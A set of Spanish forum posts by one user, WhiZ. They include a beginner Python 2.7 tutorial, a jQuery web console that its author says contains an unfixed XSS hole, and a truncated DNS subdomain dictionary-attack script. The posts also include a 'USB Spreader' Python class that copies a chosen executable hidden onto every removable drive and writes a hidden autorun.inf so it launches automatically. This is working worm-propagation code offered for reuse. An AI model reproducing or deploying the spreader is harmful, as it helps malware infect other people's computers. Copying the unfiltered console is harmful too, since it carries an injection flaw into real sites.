    - Simple: Es la primera característica que debemos nombrar al hablar de este lenguaje. Python fue diseñado con esta filosofía: legibilidad y transparencia. A eso nos referimos cuando hablamos de “pythónico”. Ya veremos más adelante qué es y  cómo acceder al “Zen de Python”.

    - Interpretado: Todo lo que nosotros escribamos será ejecutado por medio de un intérprete, en contraste con los lenguajes compilados (C, C++, C#, Visual Basic, Delphi, etcétera) que son ejecutados por medio de un compilador (a leer!).

    - Multiparadigma: No tenemos que programar así o asá, sino que tenemos varios estilos para elegir (programación orientada a objetos, programación imperativa y, en menor medida, programación funcional).

    - Multiplataforma: Podemos ejecutar nuestros scripts en cualquier plataforma (GNU/Linux, Microsoft Windows, Mac OSX, etcétera) siempre y cuando tengamos nuestro intérprete instalado y configurado.

    - Interactivo: Podemos ejecutar sentencias desde la línea de comandos y ver qué nos responde el intérprete (nos ayuda mucho para comprender mejor el lenguaje y, principalmente, al momento de programar, permitiéndonos probar segmentos específicos de nuestro código, en busca de errores).

Existen muchas otras características como tipado dinámico, resolución dinámica de nombres, conteo de referencias, facilidad de extensión y demás. No es necesario que las veamos ahora, razón por la cual las dejo para que investiguen por su propia cuenta.



Instalando Python


Lo primero que debemos mencionar es la versión de python que vamos a utilizar a lo largo del taller. Actualmente existen 2 versiones principales: 2.7.8 y 3.4.1. Nosotros vamos a utilizar la primera (Python 2.7).

1). GNU/Linux. Generalmente ya viene instalado por defecto. En caso contrario, su instalación se puede realizar simplemente desde la consola. Para ello, escribimos:

Código: Bash
  1. wget https://www.python.org/ftp/python/2.7.8/Python-2.7.8.tgz -O - | tar -x

O si tenemos curl:

Código: Bash
  1. curl https://www.python.org/ftp/python/2.7.8/Python-2.7.8.tgz | tar -x

Con esto conseguimos descargar y descomprimir el código fuente. A continuación, procedemos a configurar e instalar python:

Código: Bash
  1. cd Python-2.7.8
  2. ./configure
  3. make
  4. sudo make install
  5.  

En el caso anterior, debemos ejecutar los comandos de manera secuencial y resolver los errores que eventualmente nos puedan surgir. Una vez finalizado, podremos comprobar que la instalación ha sido exitosa simplemente escribiendo lo siguiente:

Código: Bash
  1. python

Lo cual nos abrirá la consola interactiva de python de la cual estuvimos hablando al principio del taller:



2). Windows. Aquí el asunto es un poco más simple. Descargamos el archivo de instalación desde alguno de los siguientes enlaces, según corresponda: 32 bits / 64 bits y con un doble click sobre el mismo comenzamos la instalación. Como siempre, aceptar, aceptar y aceptar hasta finalizar el proceso. Pero cuidado! Para simplificar aún más las cosas deberemos prestar atención. En la pantalla titulada “Customize Python 2.7.8” deberemos marcar la opción “Add python.exe to Path”. Con ello añadimos el archivo python.exe al path de Windows y nos ahorramos unos pequeños problemitas:



(La imagen muestra la instalación de la versión 3.3.2 pero nos sirve igual)

Para finalizar, abrimos el Procesador de comandos de Windows (cmd.exe) y, al igual que en Linux, escribimos:

Código: DOS
  1. python

Nuevamente, si todo anduvo bien, estaremos iniciando una charla con nuestro querido amigo, el intérprete.



Listo! Ya tenemos preparado nuestro entorno de desarrollo en ambos sistemas operativos. Sólo nos queda hacer un programa y ver qué sucede con todo esto.
A descansar 5 minutos que una vez que arranquen a programar no van a poder detenerse ;)


Mi primer programa en Python

Si esta no es tu primera experiencia con un lenguaje de programación, seguro ya te irás imaginando qué tipo de aplicación estamos a punto de “desarrollar”. Exacto, qué otra cosa podía ser más que el clásico de los clásicos: el tan famoso “Hola mundo”.

Para aquellos que no entienden nada de lo que estoy hablando, les explico de forma muy concisa en que consiste este loco rito que acabamos de mencionar. Simplemente, lo que hacemos es crear una sencillísima aplicación que no hace más que imprimir en pantalla el mensaje “Hola mundo!”.

Pero… si es tan simple y, por lo visto, tan poco útil, ¿por qué tanta importancia? Simple. Lo que realmente nos importa de todo esto es realmente el código. En él vamos a poder ver muchas características del lenguaje que estemos utilizando. En nuestro caso, por ejemplo, ya veremos que el código se puede escribir de varias formas, lo cual nos permite constatar la capacidad multiparadigmática de python que mencionamos al principio.

Por otro lado, un “Hola mundo” nos permite rápidamente comprobar que tenemos todo nuestro entorno de desarrollo perfectamente configurado y funcionando.

Finalmente este programa es considerado fundamental desde el punto de vista didáctico, ya que ilustra rápidamente al principiante la sintaxis más básica del lenguaje de programación que está a punto de aprender.

Como dije anteriormente, existen varias formas de hacer nuestro “Hola Mundo” en python. Sin embargo, por ahora haremos lo más simple. A medida que vayamos conociendo más el lenguaje, veremos cuáles son esas otras alternativas que dejamos escapar en este momento.

Lo primero que vamos a hacer es abrir nuestro editor de texto plano favorito (en mi caso, sublime text). Una vez allí, escribimos el siguiente código:


Muy bien. Ahora sólo queda guardar nuestro archivo con el nombre “holaMundo.py” y listo.


Por último, probaremos ejecutarlo para ver si funciona. Para ello, abrimos una consola de comandos, nos dirigimos al directorio donde se encuentre nuestro script y escribimos lo siguiente: “python holaMundo.py”. Si el resultado fue un “Hola Mundo!” en la siguiente línea de la terminal, entonces, felicitaciones!! Acabas de crear tu primer programa 100% funcional en python!!



Vayamos ahora a las entrañas de este misterioso código y veamos qué significan esas palabritas, hasta ahora, sin sentido.

Lo primero que vemos es la palabra clave “print”. Si traducimos esta palabra inglesa al español, entonces vemos que su significado no es más ni menos que “imprimir”.


Código: Text
  1. print = imprimir

Con esta declaración lo que logramos es imprimir en pantalla la expresión que sigue a continuación.

En nuestro caso, la expresión que le continúa es “Hola Mundo!” con las comillas incluidas (ya veremos más adelante que significan esas comillas; por ahora quedémonos con la idea de que las comillas le dicen a print cuál es el mensaje que queremos mostrar al usuario).

Entonces, lo que nuestro pequeño código significa es simplemente: imprimir en pantalla el mensaje “Hola Mundo!”.

No era tan difícil, ¿no? A continuación, profundizaremos un poquito más para ver cómo hacemos de éste un programa algo más flexible e interactivo.


Variables

Vamos a comenzar ahora con un tema que nos abrirá muchas posibilidades a la hora de programar. Es que no hay mucho que podamos hacer sin ellas, las variables. Para los que no saben a qué me refiero, voy a tratar de explicarlo sencillamente.

Aclaración: Lo que estamos por ver no es más que una aproximación o introducción a este extenso tema. Existen muchos puntos que dejaremos fuera por el momento. Más adelante, una vez que nos adentremos en el mundo de la programación orientada a objetos (POO), estudiaremos a fondo cada uno de los tópicos que hoy trataremos.

1). Qué es una variable. Las variables son como cajas que nos permiten almacenar información en su interior. En ellas podemos guardar lo que sea: números, textos, listas, diccionarios, objetos, etcétera (ya veremos qué son concretamente estos elementos).

Pero, obviamente, necesitamos rotular estas cajas para poder identificarlas fácilmente y no confundirlas. Es decir, las variables tienen un nombre que las distinguen entre sí.

Conclusión: una variable...
    - es un espacio de memoria (la caja)
    - nos sirve para almacenar un valor (un tipo de dato)
    - tiene un nombre o etiqueta (identificador)

2.) Cómo crear una variable. En ciertos lenguajes primero debemos indicar el nombre de la caja y el tipo de información que va a almacenar (lo cual se denomina declaración) y, a continuación, indicamos cuál va a ser el contenido de la misma (esto es la definición). Esto no es tan así, ya que podemos declarar y definirlas al mismo tiempo, pero no viene al caso.

En python las cosas son un poquito más automáticas. No hace falta declarar las variables antes de definirlas. Simplemente les asignamos un valor y listo. El intérprete se encarga de identificar el tipo de dato almacenado. Esta es una de las características de python nombradas al principio del taller y se denomina tipado dinámico.

Para crear una variable debemos escribir lo siguiente:


Código: Python
  1. miVariable = valor

Como ven, es muy similar a matemáticas. A la izquierda el nombre de la variable y a la derecha el valor (tipo de dato) a asignar. El signo igual que estamos utilizando se denomina operador de asignación (ya veremos más adelante que existen unos cuantos operadores más).

Existe otra forma de asignación, un poco más compleja, denominada asignación múltiple. No la vamos a explicar todavía pero te invito a investigar por tu cuenta y experimentar un poco.

3). Tipos de datos. Si bien no es necesario indicárselo al intérprete, debemos conocer los tipos de datos soportados por python, de lo contrario, no llegaremos muy lejos.

Si bien existen varios tipos de datos, no hace falta nombrarlos a todos en este momento.

A continuación, nombraremos los más importantes para, luego, profundizar en cada uno de ellos:



Existen otros tipos de datos que iremos viendo en los próximos talleres. Por ahora, con esto será más que suficiente.

Muy bien, comencemos:

    A. Datos tipo str. Estos son valores de tipo alfanuméricos, es decir, son cadenas de números, letras y muchos otros símbolos  (str es una abreviatura de string que, traducido al español, significa cadena) delimitadas por comillas dobles (“”) o simples (‘’).

Si hacemos memoria, veremos que este es el tipo de dato utilizado en nuestro primer programa (“Hola Mundo!”, se acuerdan?).

Los datos tipo alfanuméricos pueden ocupar una o más líneas pero deberemos conocer algunos detalles para evitar cometer errores: si la información se encuentra delimitada sólo por una comilla entonces deberemos ocupar sólo una línea.



Para poder ocupar varias líneas debemos hacerlo con 3 comillas, dobles o simples:


Más adelante veremos que no es necesario utilizar tres comillas para ocupar varias líneas. Como adelanto, les digo que vayan investigando acerca de los códigos de escape (el código de escape “\n” nos permite ocupar varias líneas, a pesar de utilizar sólo una comilla).

Muy bien, antes de terminar con los datos tipo str, me gustaría hacer una pequeña pero importante aclaración: ¡Cuidado con los números!

Un número delimitado por comillas será considerado un valor de tipo str. Para que nuestro número sea considerado como tal deberemos escribirlo sin comillas.



    B. Datos tipo int. A este grupo pertenecen aquellos datos numéricos de tipo entero, incluyendo al cero y a los números negativos (int es la abreviatura de integer que, traducido al español, significa entero).

El espectro de números no es infinito. Ya veremos más adelante cómo determinar ese límite y a quién pertenece el espectro de números que sigue.

Un ejemplo de este tipo de dato es el que vimos en la última imagen (el uno que almacenamos en la variable llamada “intVar”).

    C. Datos tipo float. La palabra float hace referencia a los floating point numbers, es decir, a los números de punto o coma flotante (¿¡los qué!?). Wikipedia les puede dar una buena explicación pero si no quieren complicarse, entonces quédense con esto: si uno agarra una calculadora y escribe cinco dividido dos el resultado tiene dos representaciones: como número racional (es decir, dos quintos: 2/5) o como número de coma flotante (es decir, dos coma cinco: 2,5).

Conclusión, el número de coma flotante es, ni más ni menos, que una representación de un número racional.



Es importante aclarar que python interpretará al número con coma como un dato de tipo float, incluso a pesar de que sea un número entero (1.0 no es lo mismo que 1, ¿se entiende?).



    D. Datos tipo tuple. Se denomina tupla (traducción al español de tuple) a una secuencia ordenada y limitada de objetos. ¿Qué significa esto? Para entenderlo, veamos un poco los orígenes de este término.

Todo comienza cuando unos matemáticos que no tenían otra cosa que hacer aplicaron el método inductivo sobre cierto conjunto de palabras. Dichas palabras eran: dupla, tripla, cuádrupla, quíntupla, etcétera.

Los tipos se preguntaban qué nombre genérico podían darle a este conjunto. Pensaron, aportaron ideas, las desecharon y volvieron a pensar. Así, hasta que uno de ellos dijo: Si hablamos de 5 objetos, se llama quíntupla; si son 6, séxtupla; 7, séptupla. Si generalizamos, podemos llamarlos 5-tupla, 6-tupla y 7-tupla, respectivamente. Si generalizamos más, podemos decir n-tupla, donde n es el número de objetos que contiene la tupla. Y así es como surgió esta interesante denominación.

Bueno, sí. Era innecesaria la historia jeje. Pero al menos sacamos 2 cosas de ella (o 3, qué se yo). Primero, las tuplas contienen una cantidad limitada de objetos (n nos dice que la tupla es finita). Segundo,  los objetos están ordenados de una forma determinada (eso no lo dice la historia pero no importa!). Tercero, los matemáticos se la pasan estudiando cosas sin sentido que, de una forma u otra (ni sé cómo), llegan a tener mucha importancia en nuestras vidas (¿?).

Muy bien. Por último vamos a decir algo muy importante. Las tuplas son inmutables. Esto significa que una vez creada la tupla, es imposible modificarla. ¿Clarito?

Para crear una tupla no hace falta mucho: sólo dos paréntesis (uno de apertura y otro de cierre) y comas (,) para separar los objetos entre sí.

En cuanto al contenido, puede ser cualquier cosa (menos plata! eso no lo pueden hacer, no se dejen engañar). Pero, ¿entonces puedo guardar una tupla dentro de otra tupla? Exactamente! Dentro de ellas puedes guardar cualquiera de los tipos de datos que estamos viendo y mucho más. Es hora de hacer volar tu imaginación y diseñar posibles programas para codear más adelante, a la par del próximo taller.



Como ven en la imagen, primero creamos tres variables que contienen los primeros tres tipos de datos que vimos. Luego, creamos 3 variables más: las primeras dos (miTupla y otraTupla) son tuplas que contienen a las primeras variables. La última (tuplaDeTuplas) es una tupla que contiene a las otras dos tuplas.

Si prestan atención, verán que miTupla y otraTupla presentan el mismo contenido. Sin embargo, no hay que caer en el error de afirmar que son iguales. Como dijimos al principio, el orden de los objetos es importante. Tanto que estas dos tuplas serían iguales de no ser por esta característica.

    E. Datos tipo list. Las listas (no voy a aclarar que lista es la traducción al español de list :P) son muy parecidas a nuestras queridas tuplas. Difieren de ellas en los siguientes aspectos:

        a.   No surgen del ocio de los matemáticos.

        b.   Son mutables (sí, podemos modificar su contenido una vez creada la lista).

        c.   El contenido es delimitado por corchetes (y no por paréntesis).

        d.   Muchas otras cosas que dejaremos para más adelante (las veremos cuando comencemos con la POO).

De lo antedicho, y si aplicamos el famoso método hipotético-deductivo, podemos obtener más información de las listas:

        a.   Son una secuencia ordenada y limitada de datos.

        b.   Pueden contener cualquier tipo de dato.

        c.   Los objetos se separan unos de otros por comas.

Bueno, basta de cháchara y a la acción:




    F. Datos tipo dict. Los diccionarios son, al igual que las tuplas y las listas, un conjunto limitado de datos. Pero hay 2 términos que no estamos incluyendo en esta definición: ordenado y secuencial. Es que, de hecho, si hay algo que no le interesa al diccionario de python es preocuparse por un orden y una secuencia. Pero, ¿por qué? Es que los diccionarios no son más que un conjunto no ordenado de pares clave: valor.

Para entenderlo, hagamos una analogía con un diccionario de idiomas. Si quisiéramos saber qué significa una palabra determinada (por ejemplo, python), debemos buscar dicha palabra (clave) para luego ver su significado (valor).

Así es cómo hacen los diccionarios de python para organizar los datos que almacenamos en ellos.

Al igual que con las tuplas y las listas, los valores pueden ser cualquier tipo de dato. Las claves, en cambio, sólo pueden ser objetos inmutables (incluyendo a las tuplas, siempre y cuando no contengan objetos mutables).

Por último, vamos a ver cómo hacer un diccionario (al igual que con los anteriores, dejamos afuera mucha información; ya veremos todo con POO):

    - Los objetos deben estar delimitados por corchetes ({}) y separados por comas (,).

    - Las claves y los valores se asocian por medio de dos puntos ( : ); el objeto de la izquierda es la clave y el de la derecha, el valor.



En la imagen anterior podemos ver que miDic y otroDic presentan el mismo contenido pero en diferente orden. A diferencia de lo que sucedió en el caso de las listas y las tuplas, estos dos diccionarios sí son iguales. Recuerden: como hemos dicho al principio, al diccionario no le interesa el orden de los objetos.

    G. Datos tipo bool. Los datos booleanos son aquellos que pueden representar valores de lógica binaria, es decir, 2 valores (verdadero o uno y falso o cero).

En python, estos datos están representados de muchas formas pero principalmente con 2 palabras clave: true y false (en sí, ambas son simples variables que almacenan los valores booleanos 1 y 0, respectivamente).

En términos generales, podemos decir que todos los datos son verdaderos, a excepción del cero (0 y 0.0), los datos vacíos (“”, (), [] y {}) y el NoneType.

Los datos booleanos son importantísimos en informática y, por ende, para nosotros: los programadores. Ya veremos más adelante cómo utilizarlos.

    H. Datos tipo NoneType. Este tipo de dato denota la falta de valor (none significa, traducido al español, ninguno) pero, en realidad, esto no es así. De hecho, los datos NoneType presentan y sólo pueden presentar un único valor: None.

Es elemental que comprendan esta diferencia: los datos NoneType no carecen de valor, sino que sí lo tienen, y sólo puede ser uno.

A partir de esto, uno se preguntará, ¿qué utilidad podemos darle a un dato que no se puede modificar y que no nos aporta ningún tipo de información? Fácil. En python, no podemos iniciar una variable sin asignarle un valor. Tampoco podemos, en las listas, asignar un valor a un offset que no ha sido creado aún. Por último, lo mejor: ninguno de estos ejemplos es cierto debido a que None nos permite hacerlo.

Veamos cómo:



Como podemos ver, la variable varVacia será de tipo NoneType. Gracias a None podemos iniciar la variable “sin tener que definir su tipo” (lo pongo entre comillas porque, a pesar de su nombre, None es algo: no es realmente nada, sino que es un objeto).

En cuanto a la variable miLista, el resultado será una lista con cuatro offsets ocupados por objetos None. Esto es casi lo mismo que decir que son 4 lugares vacíos, listos y a la espera de ser ocupados.


Mejorando nuestro “Hola Mundo!”

Cada vez que nos encontramos frente a una computadora, cualquiera que sea, podemos ver que cuenta una característica o cualidad fundamental: la capacidad de interactuar. Es que, de hecho, serían muy poco útiles si no contaran con dicho atributo. Si queremos que nuestros programas sean útiles y flexibles, debemos darles la capacidad de interactuar con el usuario.

Llamamos input a la información que el usuario suministra a la máquina y output a la información que la computadora transmite al usuario.

Ya vimos un ejemplo de output: la declaración print. Es decir, ya sabemos cómo hacer que la computadora muestre información por medio del monitor. Ahora sólo nos resta ver cómo podemos hacer para pasarle información a nuestros programas.

En python 2.7 existen 2 declaraciones para introducir información por medio del teclado: input y raw_input, para introducir números (int) y texto (str), respectivamente.

Veamos un ejemplo para entenderlo rápidamente.



Como vemos en la imagen, input nos sirve para ingresar datos de tipo int, mientras que raw_input, para ingresar datos de tipo str. De aquí surgen 2 cuestiones. Primero, si quisiéramos utiliza input para ingresar letras, se generaría un error. Por el contrario, el hecho de ingresar números al utilizar raw_input no genera ningún tipo de error pero debemos tener en cuenta que el dato ingresado no será de tipo int sino str (será el número con comillas).

Muy bien, ahora que ya sabemos cómo pasarle datos a nuestro programa y hacer que éste nos imprima texto en pantalla, es tu turno de mejorar nuestro primer programa, de forma tal que nos permita interactuar con el usuario e imprimir la información suministrada por el mismo.

La tarea es hacer un programa que pida el nombre y la edad al usuario para luego imprimir el siguiente texto:


“Hola (nombre)!! Tienes (edad) años”

Hay algunas cositas que van a andar mal pero es, simplemente, porque no lo hemos visto aún. No se preocupen. Tranquilos que ya vamos a llegar.

Por último, si les funciona el programa anterior, les dejo un último desafío: creen una variable con la edad del programa y e impriman la diferencia de edad (del programa y del usuario) en pantalla. Complicadito jeje.

Ahora sí me despido. La solución en el próximo número, con muchísimo más python y ejercitación.

Saludos!





P.D.: El tutorial que acabo de presentar iba a formar parte de los talleres oficiales de python pero, por error, escribí acerca de temas que ya habían sido tratados en las primeras dos entregas. Con esto quiero decir 2 cosas: primero, esta guía no pertenece a los talleres de underc0de y, segundo, todavía tengo pendiente la creación de una entrega oficial que se hará pública en los próximos días. En ella trataremos nuevos temas que nos permitirán comenzar con lo mejor del taller: la creación de herramientas orientadas al hacking.

Saludos!
WhiZ

12
Front-end / Consola Interactiva (básica)
« en: Agosto 29, 2014, 05:57:42 pm »
Hola gente! Cómo les va? Hoy les vengo con un poco de código web. Por cuestiones que no vienen al caso, hoy se me ocurrió incorporar una especie de consola interactiva a mi página web. Después de pensarlo un rato, siendo que iba a ser una consola simple, decidí hacerlo con js.

Primero les dejo una imagen y luego les paso el código.



Muy simple como ven...

Ahora los códigos.

shell.html
Código: Text
  1. <!DOCTYPE html>
  2. <html>
  3.         <head>
  4.                 <meta charset="UTF-8" />
  5.                 <title>Interactive shell</title>
  6.                 <link rel="stylesheet" type="text/css" href="style.css" />
  7.                 <script type="text/javascript" src="functions.js"></script>
  8.                 <script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js?ver=1.4.2'></script>
  9.         </head>
  10.         <body onload="createPrompt()">
  11.                 <div class="shell" id="shell"></div>
  12.         </body>
  13. </html>

style.css
Código: CSS
  1. div.shell {
  2.         border:3px solid;
  3.         width:1000px;
  4.         height:300px;
  5.         background-image:url(http://mcflashfun.com/files/theme/header-footer-bg.jpg?10692);
  6.         font-family:monospace;
  7.         overflow:auto;
  8. }
  9.  
  10. p, ul{
  11.         color:#999;
  12. }
  13.  
  14. span {
  15.         font-weight:bold;
  16. }
  17.  
  18. span.prompt_inicial {
  19.         color:#9AFE2E;
  20. }
  21.  
  22. span.prompt_final {
  23.         color:#199;
  24. }
  25.  
  26. input.cmd {
  27.         background-color:transparent;
  28.         border:0px solid;
  29.         font-family:monospace;
  30.         color:#999;
  31. }

functions.css
Código: Javascript
  1. var prompt = '<p class="prompt">\
  2.         <span class="prompt_inicial">[email protected]:</span>\<span class="prompt_final">~# </span>\
  3.         <input class="cmd" id="active_cmd"type="text" maxlength="20" onkeypress="runCmd(event)"/>\
  4. </p>'
  5.  
  6. function createPrompt() {
  7.     $("#active_cmd").attr( "id", "inactive_cmd" );
  8.         $(".shell").append(prompt);
  9.         $("#active_cmd").focus();
  10. }
  11.  
  12. function ayuda() {
  13.         var ayuda = "<p>Utiliza alguno de los siguientes comandos para ver informaci&oacute;n adicional:\
  14.                 <ul>\
  15.                         <li>ayuda</li>\
  16.                         <li>info</li>\
  17.                         <li>aplicaciones</li>\
  18.                         <li>limpiar</li>\
  19.                 </ul>\
  20.         </p>"
  21.         $(".shell").append(ayuda);
  22. }
  23.  
  24. function info() {
  25.         $(".shell").append("<p>info</p>");
  26. }
  27.  
  28. function aplicaciones() {
  29.         $(".shell").append("<p>aplicaciones</p>");
  30. }
  31.  
  32. function limpiar() {
  33.         $(".shell").html("");  
  34. }
  35.  
  36. function error(text) {
  37.         var error = "<p>'" + text + "' no se reconoce como un comando.</p>"
  38.         $(".shell").append(error);
  39. }
  40.  
  41. function runCmd(e) {
  42.     if (e.keyCode == 13) {
  43.                 var text = $("#active_cmd").val();
  44.                
  45.                 if (text == "ayuda") {
  46.                         ayuda();
  47.                 } else if (text == "info") {
  48.                         info();
  49.                 } else if (text == "aplicaciones") {
  50.                         aplicaciones();
  51.                 } else if (text == "limpiar") {
  52.                         limpiar();
  53.                 } else if (text == "") {
  54.                 } else {
  55.                         error(text);
  56.                 }                      
  57.                                
  58.                 createPrompt();
  59.     }
  60. }

Por último, quería pedir disculpas a aquellos que la tienen clara con desarrollo web y que probablemente tengan que ver unos cuantos errores imperdonables jeje. Bueno, algún día (espero) voy a mejorar :)

Espero que le sirva a alguno como base para hacer algo copado.

Saludos!
WhiZ

P.D.: Algo importante. Tiene XSS pero ni ganas de hacer el filtro. Si alguno tiene ganas, adelante jeje.

13
Python / USB Spreader
« en: Junio 09, 2014, 11:45:13 pm »
Hola gente! Motivado por el código expuesto por 0b3Y en este post, me decidí a crear una clase Spreader en python que cumpla con dicha función.

Sin más, aquí el código:

Código: Python
  1. import win32api
  2. import win32con
  3. import win32file
  4. import sys
  5. import os
  6.  
  7. class Spreader(object):
  8.     def __init__(self, path):    # path debe ser absoluto
  9.         print " [*] Checking information"
  10.  
  11.         self.filename = path.split("\\")[-1]
  12.         self.driveFilename = self.filename
  13.        
  14.         if not self.driveFilename.startswith("~"):
  15.             self.driveFilename = "~" + self.driveFilename
  16.  
  17.         print "\t- Local filename: " + self.filename
  18.         print "\t- Driver filename: " + self.driveFilename
  19.        
  20.         self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename
  21.  
  22.         print "\t- Full path: " + self.path
  23.  
  24.         print "\n [*] Getting removable drives"
  25.         self.drives = self.__getRemovableDrives()
  26.  
  27.         if len(self.drives) == None:
  28.             print " [-] No removable drives available"
  29.             sys.exit()
  30.  
  31.         for drive in self.drives:
  32.             print "\t- " + drive
  33.  
  34.         print "\n [*] Spreading"
  35.         self.__spread()
  36.  
  37.         print "\n [+] Successfully spread"
  38.  
  39.     def __getRemovableDrives(self):
  40.         removableDrives = []
  41.         drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]
  42.  
  43.         for drive in drives:
  44.             driveType = win32file.GetDriveType(drive)
  45.            
  46.             if driveType == win32file.DRIVE_REMOVABLE:
  47.                 removableDrives.append(drive)
  48.                
  49.         return removableDrives
  50.  
  51.     def __spread(self):
  52.         for drive in self.drives:
  53.                        
  54.             if drive == "A:\\":
  55.                 continue
  56.            
  57.             else:
  58.  
  59.                 driveFile = drive + self.driveFilename
  60.                 driveAutorun = drive + "autorun.inf"
  61.  
  62.                 print " [+] " + drive
  63.            
  64.                 if not os.path.exists(driveFile):
  65.                     self.__copyFile(driveFile)
  66.                    
  67.                 if not os.path.exists(driveAutorun):
  68.                     self.__createAutorun(driveAutorun)
  69.  
  70.     def __copyFile(self, driveFile):
  71.         print "\t- Copying file: " + self.driveFilename,
  72.         win32file.CopyFile(self.path, driveFile, 0)
  73.         print "\t\t\tDONE"
  74.  
  75.         print "\t- Hidding file",
  76.         win32api.SetFileAttributes(driveFile,\
  77.                                    win32con.FILE_ATTRIBUTE_HIDDEN)
  78.         print "\t\t\tDONE"
  79.  
  80.     def __createAutorun(self, driveAutorun):
  81.         print "\t- Creating autorun.inf",
  82.         autorun = open(driveAutorun, "w")
  83.         content = """[Autorun]
  84. open={0}
  85. icon={0}
  86. label=Python Spreader
  87. UseAutoPlay=1
  88. action=Start my App
  89. shell\open=Open
  90. shell\open\Command={0}
  91. shell\explore=explore
  92. shell\explore\command={0}""".format(self.driveFilename)
  93.         autorun.write(content)
  94.         autorun.close()
  95.         print "\t\t\tDONE"
  96.  
  97.         print "\t- Hidding autorun",
  98.         win32api.SetFileAttributes(driveAutorun,\
  99.                                    win32con.FILE_ATTRIBUTE_HIDDEN)
  100.         print "\t\t\tDONE"

Mañana actualizo el code (me falta manejo de errores). También le voy a añadir la opción verbose para que la salida no sea obligatoria.
Por último, falta añadir la opción de importar el contenido del autorun.

Espero que les guste.

Saludos!
WhiZ

14
Zona Webmaster / Mejor editor web para GNU/Linux
« en: Mayo 26, 2014, 09:52:34 am »

Mejor Editor Web
para GNU/Linux

Buenas! Cómo están? Los que me conocen seguro se asombren de verme por estos lados (sección de programación web), es por eso que voy a explicar a qué se debe la creación de esta encuesta.

La cuestión es que hace unos días decidí mejorar mis conocimientos básicos de javascript y php y, teniendo en cuenta que me manejo casi exclusivamente con GNU/Linux, entonces no tuve más opción que buscar una buena alternativa al tan famoso Dreamweaver de Adobe (no me gusta wineizar :P ).

Así es que en medio de esta búsqueda me encontré con un editor que si bien es sencillo (ni se acerca a Dreamweaver) me gustó mucho (principalmente porque brinda una comodidad de trabajo muy similar a la del Sublime Text). Este editor se llama Brackets (a continuación les dejo una captura).


Como verán, este post tiene 2 objetivos: promocionar este editor y ver cuál es la opinión de los que trabajan todos los días con aplicaciones de este tipo (que son los que realmente saben cuál es el mejor editor).

Sé que faltan más editores pero sólo puedo poner 5 opciones. Dejé el campo "Otros" para que cada uno postee algún editor alternativo a la lista.

Espero su participación.

Saludos!
WhiZ

15
Python / [TPC-C] #2 Cifrado de Vigenère
« en: Febrero 16, 2014, 12:38:48 pm »
The Python Challenges
Nº 2 Cifrado de Vigenére
Criptografía



Objetivo:


Programar las funciones necesarias que permitan codificar y decodificar un mensaje usando el Cifrado de Vigenére, teniendo en cuenta los siguientes aspectos:

  • La salida debe ser en minúsculas.
  • Se deben respetar los caracteres no alfabéticos.
  • No se tiene en cuenta la letra ñ.


La fecha máxima de entrega es para el Domingo 23 de Febrero. Los códigos deben ser enviados por mp al moderador de la sección (11Sep)  y a WhiZ.

Los criterios de evaluación son los mismos establecidos en este post.

Sólo se tendrá en cuenta el último código recibido hasta el 23 de Febrero. Los códigos no deben ser publicados bajo ninguna circunstancia; de lo contrario, el usuario será descalificado del reto, sin excepción.


Enlaces de ayuda:

Cifrado de Vigenère [es]
Función ord() [en]
Función chr() [en]
Método lower() [en]
itertools.cycle() [en]


Nota: Todas las dudas acerca del reto, deberán realizarse en este mismo hilo.

16
Python / The Python Challenges
« en: Enero 20, 2014, 07:02:35 pm »


Hola a toda la comunidad! Tenemos el agrado de comunicarles que en breve daremos inicio a una serie de retos que hemos organizado y vamos a ir realizando periódicamente.

Por cada serie se indicara una temática determinada y, en base a ella, se crearan 5 a 6 retos, de menor a mayor complejidad, los cuales deberán resolverse aplicando los conocimientos en Python y teniendo en cuenta los criterios de evaluación oportunamente indicados para cada caso.

Normas y Reglas Generales

Acerca de las series: Como se dijo anteriormente, este proyecto consta de múltiples series, cada una de las cuales presentará una temática-eje que nos permitirá adquirir conocimientos cada vez más avanzados, tanto de Python como de la temática en cuestión.

Una vez presentada una serie, se procederá al lanzamiento progresivo de cada uno de sus retos, siempre y cuando se cuente un mínimo determinado de participantes. Es por ello que inicialmente se establecerá un lapso de tiempo para la inscripción y, una vez concluido el mismo, se dará inicio de forma oficial al reto correspondiente.

Hasta el momento, la inscripción se realizará por medio de este hilo. Aquellos interesados en participar sólo deberán poner aquí la temática y el reto que les interesa (por ej., "Criptografía, reto N° 1").

Método de evaluación: En cada caso, se tendrán en cuenta los siguientes criterios:

    - Portabilidad: serán mejor calificados los códigos multiplataforma.

    - Número de librerías utilizadas: será mejor la calificación mientras menos librerías se requieran para cumplir el o los objetivos.

    - Legibilidad: a la hora de evaluar, también consideraremos las normativas establecidas por la PEP8.

    - Eficacia: en este punto evaluaremos funcionamiento, manejo de errores, velocidad de ejecución, etc.


PRIMERA SERIE

Temática: Criptografía.

Reto N° 1: Cifrado César (inscripción cerrada).

    - Participantes:
  • saqra
  • AΞRCRΞA
  • deni_celine
  • Sanko
  • [C]orrupted[ B]yte
  • rezyckller
  • 79137913

ACCEDER

Reto N° 2: Cifrado Vigenere
  • 79137913
  • deni_celine
  • saqra
    - Cierre de inscripción: Viernes 14/02

ACCEDER

Adelante, Anímense!

17
Python / DNSMap
« en: Diciembre 24, 2013, 03:43:21 pm »
Hola gente! Hace unos días estaba leyendo un poco del protocolo DNS y los ataques que existen para el mismo, y hoy me puse a codear este programita que nos permite realizar un ataque de diccionario para hacer un mapeo DNS.

Aquí el código.
Código: Python
  1. # -*- coding: cp1252 -*-
  2.  
  3. from time import sleep
  4. from urllib2 import urlopen, HTTPError
  5. from sys import argv
  6.  
  7. class DNSMap(object):
  8.     def __init__(self, dns, wordlist, delay, verbose):
  9.         self._dns = dns
  10.         self._wordlist = wordlist
  11.         self._delay = delay
  12.         self._verbose = verbose
  13.  
  14.         print "\nStarting Dictionary Attack"
  15.         self._urlMaker()
  16.  
  17.     def _urlMaker(self):
  18.         f = open(self._wordlist, "r")
  19.         if self._verbose == False:
  20.             print "\nWorking now! Please wait...\n"
  21.         while True:
  22.             try:
  23.                 line = f.readline().replace("\n", "")
  24.                 if len(line) == 0:
  25.                     break
  26.                 url = "http://" + line + "." + self._dns
  27.                 self._urlTester(url)
  28.                 sleep(self._delay)
  29.             except Exception as e:
  30.                 print e
  31.                 break
  32.         f.close()
  33.  
  34.     def _urlTester(self, url):
  35.         if self._verbose == True:
  36.             print "\n[*] Checking for: " + url
  37.         try:
